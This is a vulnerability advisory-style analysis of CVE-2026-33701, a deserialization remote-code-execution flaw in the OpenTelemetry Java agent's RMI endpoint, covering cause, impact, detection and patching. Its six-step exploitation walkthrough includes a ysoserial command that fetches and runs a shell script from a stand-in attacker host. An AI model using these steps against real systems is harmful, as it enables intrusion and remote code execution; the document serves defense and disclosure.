CVE-2026-33701: 
Java vulnerability analysis and mitigation

CVE-2026-33701 is a critical unsafe deserialization vulnerability in OpenTelemetry Java Instrumentation (GHSA-xw7x-h9fj-p2c7) that allows remote code execution via the RMI instrumentation endpoint. It affects all versions of io.opentelemetry.javaagent:opentelemetry-javaagent prior to 2.26.1, specifically on JDK 16 and earlier. The vulnerability was responsibly disclosed in coordination with Datadog, published on March 23, 2026, and patched the same day. It carries a CVSS v3.1 score of 9.8 (Critical) and a CVSS v4.0 score of 9.3 (Critical) (GitHub Advisory, OTel Security Advisory).

The root cause is CWE-502 (Deserialization of Untrusted Data): the RMI instrumentation in OpenTelemetry Java Instrumentation registered a custom RMI endpoint (ContextPayload) that called ObjectInputStream.readObject() without applying any serialization filters, allowing arbitrary object graphs to be deserialized. The fix (commit 9cf4fba) replaced the unsafe readObject() call with a structured read of primitive types (readInt(), readUTF()), eliminating the deserialization attack surface entirely (Patch Commit). Exploitation requires three simultaneous conditions: (1) the OpenTelemetry Java agent is attached via -javaagent, (2) a JMX/RMI port is explicitly configured and network-reachable, and (3) a gadget-chain-compatible library (e.g., Commons Collections) is present on the classpath. JDK 17+ is not affected because its built-in serialization filter framework blocks unsafe deserialization by default (GitHub Advisory).

Successful exploitation grants an unauthenticated remote attacker arbitrary code execution with the full privileges of the user running the instrumented JVM, resulting in complete compromise of confidentiality, integrity, and availability of the affected system. An attacker could exfiltrate sensitive application data, modify or destroy data, install persistent backdoors, or use the compromised JVM as a pivot point for lateral movement within the network. IBM API Connect and IBM Storage Defender - Resiliency Service are among the downstream products confirmed to be affected (GitHub Advisory, IBM Advisory).

As of the time of reporting, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Feedly). The EPSS score is approximately 0.40%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack pattern (Java deserialization gadget chains over RMI) is well-understood and tooling such as ysoserial is publicly available, meaning exploitation is feasible for a skilled attacker who can reach an exposed JMX/RMI port (OTel Security Advisory).

1. Reconnaissance: Scan the target network for open JMX/RMI ports (default TCP 1099 or custom ports configured via -Dcom.sun.management.jmxremote.port) using tools like Nmap (nmap -sV -p 1099,<custom_port> <target>) or Shodan.
2. Verify agent presence: Confirm the target JVM is running with the OpenTelemetry Java agent (-javaagent:opentelemetry-javaagent.jar) and a version prior to 2.26.1, e.g., by inspecting process arguments via JMX MBeans or banner information.
3. Identify gadget chain: Determine which deserialization gadget-chain-compatible libraries (e.g., Apache Commons Collections, Spring Framework) are present on the target classpath, using JMX class-loading queries or application fingerprinting.
4. Generate malicious payload: Use a tool such as ysoserial to generate a serialized Java object payload for the identified gadget chain: java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/shell.sh | bash' > payload.ser.
5. Deliver payload: Send the serialized payload to the OpenTelemetry RMI context propagation endpoint registered by the agent (identified by ObjID io.opentelemetry.javaagent.context-call) over the exposed RMI/JMX port using a custom RMI client or tools like rmg (Remote Method Guesser).
6. Achieve RCE: The vulnerable ContextPayload.read() method deserializes the payload without filtering, triggering the gadget chain and executing the attacker's command with the privileges of the JVM process (GitHub Advisory, Patch Commit).

• Network: Unexpected inbound TCP connections to JMX/RMI ports (default 1099 or custom) from external or untrusted IP addresses; outbound connections from the JVM process to unknown external hosts following RMI activity.
• Logs: JVM logs or application logs showing ClassNotFoundException or ClassCastException originating from ContextPayload.read() in io.opentelemetry.javaagent.instrumentation.rmi.context; unusual RMI registry lookup activity in Java security logs.
• Process: Unexpected child processes spawned by the Java process (e.g., /bin/bash, cmd.exe, curl, wget, powershell) with no corresponding application-level trigger; new cron jobs, scheduled tasks, or startup entries created by the JVM user account.
• File System: Unexpected files written to the filesystem by the JVM process, such as web shells, reverse shell scripts, or new JAR files in application directories.

The primary remediation is to upgrade io.opentelemetry.javaagent:opentelemetry-javaagent to version 2.26.1 or later, which replaces unsafe readObject() deserialization with structured primitive reads (Release v2.26.1). For environments that cannot upgrade immediately, set the system property -Dotel.instrumentation.rmi.enabled=false to disable the RMI integration entirely. Additionally, ensure JMX/RMI ports are not exposed to untrusted networks by applying firewall rules or binding them to localhost only. For JDK 17 and later, the risk is significantly reduced due to built-in serialization filters, but upgrading is still strongly recommended (OTel Security Advisory). IBM has released patches for affected products including IBM API Connect and IBM Storage Defender - Resiliency Service (IBM Advisory).

The vulnerability was responsibly disclosed in coordination with Datadog and published by the OpenTelemetry maintainer (trask) on March 23, 2026 (OTel Security Advisory). Elastic issued a security update (ESA-2026-22) for its Elastic OTel Java distribution (version 1.10.0) addressing the same vulnerability, indicating broad impact across the OpenTelemetry Java ecosystem (Elastic Forum). The release on GitHub received positive community acknowledgment with 10 thumbs-up reactions on the v2.26.1 release notes.